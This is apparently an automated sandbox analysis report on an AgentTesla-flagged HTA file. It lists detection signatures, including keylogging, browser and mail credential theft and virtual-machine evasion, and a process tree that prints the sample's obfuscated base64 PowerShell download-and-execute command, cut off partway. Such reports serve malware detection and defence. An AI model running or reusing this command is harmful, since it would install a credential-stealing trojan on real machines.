Windows
Analysis Report
morninghtaaaafilex.hta
Overview
General Information
Detection
AgentTesla
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Yara detected AntiVM3
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected VBS Downloader Generic
Check if machine is in data center or colocation facility
Command shell drops VBS files
Connects to a pastebin service (likely for C&C)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Joe Sandbox ML detected suspicious sample
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Legitimate Application Dropped Script
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Silenttrinity Stager Msbuild Activity
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Script Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 7404 cmdline:
mshta.exe "C:\Users\ user\Deskt op\morning htaaaafile x.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 7460 cmdline:
"C:\Window s\System32 \cmd.exe" /c C:\Wind ows\Temp\m isdivide.b at MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 7468 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) wscript.exe (PID: 7512 cmdline:
wscript // nologo "C: \Windows\T emp\octupo le.vbs" MD5: FF00E0480075B095948000BDC66E81F0) powershell.exe (PID: 7624 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NoProfile -Command "$Codigo = 'J#Bl#Hg# a#Bh#HU#cw B0#GU#Z##g #D0#I##n#H Q#e#B0#C4# N##0#DQ#N# #0#DQ#N##0 #DQ#N##0#D Q#N##0#DQ# N##0#DQ#N# #0#DQ#N##0 #DQ#N##0#D Q#N##2#GU# cwBh#GI#Lw #3#DE#Lg#w #DI#Mg#u#D M#Lg#y#Dk# MQ#v#C8#Og Bw#HQ#d#Bo #Cc#Ow#k#H M#bgBp#HQ# d#B5#C##PQ #g#CQ#ZQB4 #Gg#YQB1#H M#d#Bl#GQ# I##t#HI#ZQ Bw#Gw#YQBj #GU#I##n#C M#Jw#s#C## JwB0#Cc#Ow #k#HM#a#Bv #HY#ZQBs#G E#cgBk#C## PQ#g#Cc#a# B0#HQ#c#Bz #Do#Lw#v#D E#M##w#Dc# LgBm#Gk#b# Bl#G0#YQBp #Gw#LgBj#G 8#bQ#v#GE# c#Bp#C8#Zg Bp#Gw#ZQ#v #Gc#ZQB0#D 8#ZgBp#Gw# ZQBr#GU#eQ #9#EU#UwBZ #FQ#aQBU#F I#MwBP#D## MwBF#DU#cQ By#E0#bgBJ #Hk#eQBX#H Q#WQBm#DU# TwBN#EY#VQ #w#G0#YQBr #Hg#TQB1#D ##ZQBQ#HE# UgBS#Eo#Tg Bp#GM#TgBq #EM#Mw#2#G E#O#BU#DI# agBH#GY#Vw BU#DY#RgBF #EI#ag#1#H M#JgBw#Gs# XwB2#Gk#Z# #9#DM#N##y #Dg#M##z#G Q#MQBj#GM# N#Bl#DM#Yg #4#D##MQ#3 #DQ#M##2#D Y#Nw#w#DU# M##4#D##YQ #1#GU#Zg#n #Ds#J#Bv#H I#ZwBh#G4# bwBs#GE#bg B0#Gg#YQBu #HU#bQ#g#D 0#I#BO#GU# dw#t#E8#Yg Bq#GU#YwB0 #C##UwB5#H M#d#Bl#G0# LgBO#GU#d# #u#Fc#ZQBi #EM#b#Bp#G U#bgB0#Ds# J#Bz#HQ#aQ Bs#GI#ZQBu #GU#I##9#C ##J#Bv#HI# ZwBh#G4#bw Bs#GE#bgB0 #Gg#YQBu#H U#bQ#u#EQ# bwB3#G4#b# Bv#GE#Z#BE #GE#d#Bh#C g#J#Bz#Gg# bwB2#GU#b# Bh#HI#Z##p #Ds#J#Bn#G U#cgB1#G4# Z#Bp#GE#b# Bs#Hk#I##9 #C##WwBT#H k#cwB0#GU# bQ#u#FQ#ZQ B4#HQ#LgBF #G4#YwBv#G Q#aQBu#Gc# XQ#6#Do#VQ BU#EY#O##u #Ec#ZQB0#F M#d#By#Gk# bgBn#Cg#J# Bz#HQ#aQBs #GI#ZQBu#G U#KQ#7#CQ# ZQB0#Gg#bQ Bv#HY#bwBt #GU#cgBp#G 4#ZQ#g#D0# I##n#Dw#P# BC#EE#UwBF #DY#N#Bf#F M#V#BB#FI# V##+#D4#Jw #7#CQ#bwBy #Gk#ZwBp#G 4#YQBy#Hk# I##9#C##Jw #8#Dw#QgBB #FM#RQ#2#D Q#XwBF#E4# R##+#D4#Jw #7#CQ#bgBv #G4#YwBs#G 8#d#Bo#Gk# bgBn#C##PQ #g#CQ#ZwBl #HI#dQBu#G Q#aQBh#Gw# b#B5#C4#SQ Bu#GQ#ZQB4 #E8#Zg#o#C Q#ZQB0#Gg# bQBv#HY#bw Bt#GU#cgBp #G4#ZQ#p#D s#J#Bt#GU# d#Bv#G4#eQ Bt#HM#I##9 #C##J#Bn#G U#cgB1#G4# Z#Bp#GE#b# Bs#Hk#LgBJ #G4#Z#Bl#H g#TwBm#Cg# J#Bv#HI#aQ Bn#Gk#bgBh #HI#eQ#p#D s#J#Bu#G8# bgBj#Gw#bw B0#Gg#aQBu #Gc#I##t#G c#ZQ#g#D## I##t#GE#bg Bk#C##J#Bt #GU#d#Bv#G 4#eQBt#HM# I##t#Gc#d# #g#CQ#bgBv #G4#YwBs#G 8#d#Bo#Gk# bgBn#Ds#J# Bu#G8#bgBj #Gw#bwB0#G g#aQBu#Gc# I##r#D0#I# #k#GU#d#Bo #G0#bwB2#G 8#bQBl#HI# aQBu#GU#Lg BM#GU#bgBn #HQ#a##7#C Q#cwBw#GE# YwBp#GU#cg #g#D0#I##k #G0#ZQB0#G 8#bgB5#G0# cw#g#C0#I# #k#G4#bwBu #GM#b#Bv#H Q#a#Bp#G4# Zw#7#CQ#cw B1#GI#agBl #GM#d##g#D 0#I##k#Gc# ZQBy#HU#bg Bk#Gk#YQBs #Gw#eQ#u#F M#dQBi#HM# d#By#Gk#bg Bn#Cg#J#Bu #G8#bgBj#G w#bwB0#Gg# aQBu#Gc#L# #g#CQ#cwBw #GE#YwBp#G U#cg#p#Ds# J#Bn#HI#eQ Bs#Gw#dQBz #C##PQ#g#F s#UwB5#HM# d#Bl#G0#Lg BD#G8#bgB2 #GU#cgB0#F 0#Og#6#EY# cgBv#G0#Qg Bh#HM#ZQ#2 #DQ#UwB0#H I#aQBu#Gc# K##k#HM#dQ Bi#Go#ZQBj #HQ#KQ#7#C Q#YgBh#GM# awBj#Gg#YQ Bu#G4#ZQBs #HM#I##9#C ##WwBT#Hk# cwB0#GU#bQ #u#FI#ZQBm #Gw#ZQBj#H